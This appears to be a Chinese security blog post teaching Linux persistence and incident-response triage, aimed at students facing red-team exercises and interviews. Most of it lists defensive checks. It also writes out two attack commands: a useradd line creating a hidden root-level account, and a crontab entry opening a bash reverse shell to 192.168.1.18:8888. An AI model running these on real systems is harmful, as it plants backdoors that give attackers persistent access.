本来麋鹿是不想写这些维权手段和应急的,一方面麋鹿觉得大部分维权手法实战中用不到,比如对于linux来讲,一般只需要把做个好的马子就行了,如果需要隐藏进程 or tcp/udp上个rootkit就行,rootkit的介绍和部分原理如下
从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)
再一方面这些东西都已经老生常谈了,写起来有点无聊,但是耐不住hw和安服面试经常问这些东西,而公众号有很大部分读者都是学生,会面临hw or 就业,而这个公众号的初心就是为了传播我们 所闻之道,所攻之术,希望能帮读书的朋友们拿到一个不错的薪资,那就加一些其他的手法和对应的排查思路,聊聊喽。
和上一篇文章windows结构一样--先讲维权手法再讲如何排查。
你不知道的win应急思路!从维权到排查,面试必问!不来看看? (qq.com)
本文目录如下
基础配置检查
查看系统信息
IP地址:
ip addr show
用户
cat /etc/passwd
开机时间
uptime
系统版本
cat /etc/os-release
Hostname
hostname
服务器SN
dmidecode -t system
太多了不截图了
性能情况
CPU使用率
top 或 htop
登录用户信息
who
CPU TOP 15
ps -eo %cpu,%mem,comm --sort=-%cpu | head -16
内存 TOP 15
ps -eo %cpu,%mem,comm --sort=-%mem | head -16
磁盘剩余空间检查:
df -h
硬盘挂载
mount 或 cat /etc/fstab
添加用户和密码
添加一个名为 guest 的新用户,权限为root(uid为0)
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
排查用户
查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
查看哪些用户账户是可以通过 shell 登录的
awk -F: '{if($7!="/usr/sbin/nologin")print $1,$7}' /etc/passwd
排查空密码用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
排查可登录用户
cat /etc/passwd
passwd文件修改日期
stat /etc/passwd
sudoers定义的规则和权限
cat /etc/sudoers
登录情况
last
计划任务
echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.1.18/8888 0>&1" | sudo crontab -
排查
crontab -l
指定用户
crontab -u root -l
系统任务计划
ls -la /etc/cron*
任务计划文件创建时间,这个偷懒不截图了
stat /etc/cron*
看base64编码的计划任务
grep 'base64' /var/spool/cron/crontabs/*
网络
网络连接: netstat -ant 或 ss -ant
TCP连接状态: netstat -ant 或 ss -ant
看外联
netstat -tpnl
查看系统进程情况
netstat -anop
查看指定pid的进程信息
ls -alt /proc/1862
查看进程所打开的文件
常用软件检查
rpm -qa
检查hosts
cat /etc/hosts
端口监听: netstat -tulnp 或 ss -tulnp
对外开放端口
nmap localhost
DNS Server
cat /etc/resolv.conf
ARP
arp -a
iptables 防火墙
iptables -L -n -v
检查rootkit
再放一遍rootkit的介绍和安装
检查可疑的内核模块
lsmod
检查内核符号表
哦,对了,什么是内核符号表,碰巧麋鹿在下面这一篇也提到过
从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)
排查
cat /proc/kallsyms
工具
apt-get install rkhunter # Debian/Ubuntu 系统
yum install rkhunter # Red Hat/CentOS 系统
rkhunter --update
rkhunter --check
检查 .ko Rootkit 模块
find / -name "*.ko"
检查隐藏文件
ls -a
系统所有文件
find /home -name ".*" -print
检查服务
运行的服务
systemctl | grep running
服务创建时间
stat /etc/systemd/system/*
忘了说启动项
cat /etc/init.d/rc.local
cat /etc/rc.local
ls -alt /etc/init.d
文件相关
#查找一天内添加的文件
find / -ctime 0
#查找权限为777的文件
find /tmp -perm 777
一天内修改的文件
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +1 | xargs ls -la
大于200mb的文件
find / -type f -size +200M
临时文件
ls -la /tmp /var/tmp /dev/shm
找出当前正在运行的进程中,那些其可执行文件已经不再文件系统中的进程
ps aux | awk '{print $11}' | sort | uniq | while read cmd; do if [ ! -f $cmd ]; then echo $cmd; fi; done
整个系统里查看有setuid 权限的文件(可能用于提权)
find / -perm -4000 -print
一些黑客工具
哈哈,为了节目效果,下面这几条命令麋鹿选择在kali运行一下
find / -name 工具名,例如nmap
被篡改的文件。例如wget curl
which wget
which curl
环境变量检查
环境变量:
env
path
echo $PATH
LD_PRELOAD / LD_ELF_PRELOAD / LD_AOUT_PRELOAD / PROMPT_COMMAND / LD_LIBRARY_PATH /
LD_PRELOAD是什么东西,以及原理看下面这一篇
从绕过disable_functions到关于so的一些想法 (qq.com)
echo $LD_PRELOAD
看LD_PRELOAD引用情况,举例
grep -r "LD_PRELOAD" /etc/*
grep -r "LD_PRELOAD" /home/*/.bashrc
grep -r "LD_PRELOAD" /home/*/.bash_profile
排查SSH相关
SSH 爆破检查
检查 /var/log/auth.log 或 /var/log/secure 中的异常登录尝试
SSHD 检测
systemctl status sshd
SSH 后门配置检查
检查 /etc/ssh/sshd_config 文件。
SSH inetd后门检查
检查 /etc/inetd.conf 文件(如果存在)。
SSH key检查
检查 ~/.ssh/authorized_keys 文件。
Webshell 检查
工具,河马,牧云,D盾,Shell Detector
SHELLPUB.COM 专注查杀,永久免费
GitHub - chaitin/cloudwalker: CloudWalker Platform
D盾防火墙 (d99net.net)
Web Shell Detector
手动查杀垃圾的webshell(比如有base64这些特征的)
php里有base64的
find / -name "*.php" -exec grep -l 'base64_decode' {} \;
jsp 里有cmd的
find / -name "*.jsp" -exec grep -l 'cmd.exe' {} \;
有能力和兴趣的读者可以自行收集一些特征
挖矿
很常见
看cpu占有率
top
进阶一点,比如我们遇到了一些出名的挖矿病毒,比如H2Miner,WorkMiner之流
那我们不就可以直接搜索名字吗
挖矿文件检查:find / -name "miner"
挖矿进程检查:ps aux | grep -i 'miner'
WorkMiner检测:ps aux | grep -i 'work'
Ntpclient检测:ps aux | grep -i 'ntp'
这篇文章不知不觉又写长了,但还有太多维权手法没来得及讲述,而且安全加固也没说,可是文章写长了没人看,经常一篇文章阅读不过千,而一些水文上万的阅读,多少有点失落,那就这样吧,剩下的东西找个时间再开一篇
希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。
同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎各位同仁加我微信,和我探讨安全,同时欢迎同仁们的不吝指正)